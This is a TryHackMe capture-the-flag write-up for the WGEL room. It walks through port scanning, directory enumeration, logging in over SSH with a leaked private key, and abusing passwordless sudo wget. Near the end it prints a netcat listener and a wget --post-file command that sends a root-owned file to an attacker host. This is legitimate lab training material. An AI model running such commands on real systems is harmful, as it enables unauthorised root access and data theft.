omar@kali:~$

๐Ÿšฉ TryHackMe โ€“ WGEL CTF Write-up

Room: WGEL CTF

๐Ÿ“บ Full Video Walkthrough

๐Ÿ”Ž Initial Recon

I launched an Nmap scan to check for open ports and services running on the target. This discovered ports 22 (SSH) and 80 (HTTP).

Nmap Scan

๐ŸŒ Apache Default Page

Browsing to the target's IP showed the default Apache2 Debian page, confirming the web server is active.

Apache Default

๐Ÿ“‚ /sitemap Discovery

I discovered the /sitemap path, which often contains hidden links or directories not meant for public access.

Sitemap Discovery

๐Ÿ› ๏ธ Gobuster Enumeration

Running Gobuster revealed additional hidden resources and confirmed directory indexing was possible.

Gobuster Found

๐Ÿ‘€ Developer Comment

In the page source, I found a comment: "Jessie don't forget to update the website," providing a potential username.

Developer Comment

๐Ÿ”‘ SSH Key Disclosure

I found an exposed private SSH key in one of the directories, a critical misconfiguration.

SSH Key Found

๐Ÿ” SSH Login

Using the private key and the username Jessie, I successfully established an SSH connection.

SSH Login

๐Ÿงช Sudo Privileges

Running sudo -l showed that Jessie could run wget as root without a password.

Sudo Permissions

๐Ÿ“œ User Flag

I retrieved the user flag from Jessie's home directory, confirming my foothold.

User Flag

โšก Privilege Escalation via wget

I used --post-file to exfiltrate the root flag to my local listener via HTTP.

# Attacker:
nc -lvnp 80

# Victim:
sudo /usr/bin/wget --post-file=/root/root_flag.txt http://YOUR-IP

๐Ÿ‹ Root Flag

The root flag was successfully received on my listener. System owned.

Root Flag

โœ… Summary

This room involved web enumeration, finding leaked credentials, and exploiting sudo misconfigurations to gain root access.